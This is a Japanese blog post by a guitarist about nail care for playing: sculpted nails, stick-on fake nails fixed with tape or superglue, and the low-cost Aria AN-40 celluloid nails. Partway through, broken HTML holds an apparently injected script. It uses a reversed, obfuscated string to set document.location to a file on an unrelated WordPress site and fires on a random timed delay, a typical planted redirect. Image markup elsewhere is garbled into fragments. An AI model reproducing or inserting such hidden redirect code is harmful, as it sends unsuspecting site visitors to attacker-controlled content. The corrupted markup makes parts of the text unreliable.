つけ爪を使い始めた頃

ギターと体の関係

tokyo/wp-content/uploads/1000mura-icon.gif” width=”80″ height=”80″>皆さん、こんにちは、メロウです。

早速前回に続き、現在私が採用している爪のケア方法についてお話ししたいと思います。

ギターを弾くための爪のケア方法には色々ありますが、スカルプチャー系は私には合わない方法でした。
ある製品では爪が本当に皮膚の一部だと実感するくらいふにゃふにゃになり、爪が伸びても自爪で演奏することが全く出来なほど痩せてしまいました。

塗装などに使うシンナーやアセトンにはかなり強い体質であるにも拘わらずです。
爪に優しいと謳われている商品でしたし、使用方法を間違っていたわけもなかったのですが・・・

そもそもの問題として、私は仕事内容やスポーツなどをする日常生活で、爪を傷つけたり痛めやすいという事実があります。
ですから当然の帰結として、頻繁に爪を修正する必要があるため、爪への負担も大きかったのかも知れません。

普段から事務作業くらいでしか指先を使わない方なら、スカルプチャー系のケア方法でも一度処理すれば何日も持ちしますから、問題はないのかも知れませんね。

top: 10px;” src=”https://txt.toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tokyo/wp-content/uploads/1902fakenail.jpg”>そのあと試したつけ爪は、両面テープで貼り付けるタイプだったので爪への悪影響はほとんどありませんでした。
そういう意味では、比較的私に合っている方法なのかも知れませんが、前回お話しした通り「なくす」ことが多いという問題がありました。

実はそれ以外にも不満に感じていたことがあります。
それは貼り付け方次第で微妙に爪の角度が変わってしまうため、その都度微調整が必要になることです。

微調整はペーパーで整形するだけですから簡単なことですが、それを繰り返すと、なくさなくてもつけ爪自体が徐々に短くなってしまいます。
アクリル製のものでも、ギターを弾くことで消耗することはそれ程ありませんが、微調整やちょっとした傷の修復の為に削っていると次第に短くなってしまうのです。

大抵はそうなる前になくしていましたが・・・^^;

で、ある時両面テープで貼り付けるのをやめ、瞬間接着剤で直接貼り付けてみました。
結論から言うと、両面テープより密着性が高く快適なのですが、なくすという問題はそれほど改善されませんでした。

瞬間接着剤は衝撃に弱いという特性があるので、剥がそうと思っても簡単には剥がれませんが、力の加わり方次第で一瞬で剥がれてしまうのです。
事務作業くらいで剥がれることはありませんが、スポーツや重作業をしていると知らない内に剥がれてしまっているのは、両面テープの場合とそう変わりません。

ただ良かったのは私の場合、瞬間接着剤は爪にそれほど影響がないということがわかった事です。

瞬間接着剤は元々、傷口をすばやく留めるために医療用として開発されたと聞いたことがあります。
だからといって無害とは言えないと思いますが、案外瞬間接着剤を活用しているクラシックのギタリストも多いそうです。

であるならば、なくしたり削って短くなっても気にならない程度の価格で購入できるつけ爪なら、結構うまくいくのではないか・・・
これが現在の方法を採用するようになったきっかけです。

tokyo/wp-content/uploads/1902ariaa40.jpg”>検索してみるとAria AN-40という製品がすぐに出てきました。
アリアといえば国産のギターのブランドですが、このつけ爪も実際そのアリアが販売している製品でした。

サイズは幅20mm~14mmまで7種類あり、どれも20枚入りで価格は3~400円。tokyo/wp-content/uploads/1000amazon.gif”>tokyo/wp-content/uploads/1000rakuten.gif”>で簡単に購入できます。

購入先により価格差はありますが、送料等も含め400円平均とすれば単純計算で一枚あたり20円。
オーダーのアクリル製の一枚200円と比べるととってもお安く購入できます。

tokyo/wp-content/uploads/1902ariabari.jpg” alt=”” width=”229″ height=”87″> 簡単に修正できるとはいえ、結構バリなんかもついています。

でも、安いだけに造りははっきりと劣ります。というか、こちらはセルロイド製で簡単に曲がる薄さです。
ですが、実際に瞬間接着剤で貼り付けてみると、自爪から出る部分は1mm程なので案外しっかします。
その上、アクリル製のものより柔らかい分、自爪に近い硬さで、弦に当たった時のカチカチという不快な音も出ません。

というわけで、瞬間接着剤での接着を前提にすれば一応の完成形かも知れなのですが、今ひとつ満足感がない・・・

一つには私の場合、親指は当然としても人差指・中指・薬指とそれぞれ爪の幅が違うので色んなサイズを購入しなくちゃならないのが面倒。
その上、カタログに出ているサイズは湾曲させる前のサイズ(それにしてもかなりいい加減)なので、実際購入してみないとどのサイズが合うのか分かりません。
また、私の爪は比較的フラットな形状なので、多少熱を加えて伸ばしてるやる必要もありました。

もう一つは、一枚あたり20円としても、一週間持てば良いほうで、何時間も弾いていると磨り減って交換が必要になりますし、失くしてしまう事や割れる事も頻繁に起こります。

とすると、それぞれの指4本分で80円なので、たかだかセルロイドのつけ爪に月に4~500円が必要になる計算です。
ケチっていうわけではありませんが、何か中途半端な費用に感じてしまうわけです。

そうしてこれらの問題を解決したのが現在の方法で、次回には具体的にそれをご紹介したいと思います。

数年前から動画投稿しています。よろしければtokyo/wp-content/uploads/1100YouTubeMZ.gif”>も覗いてやって下さい。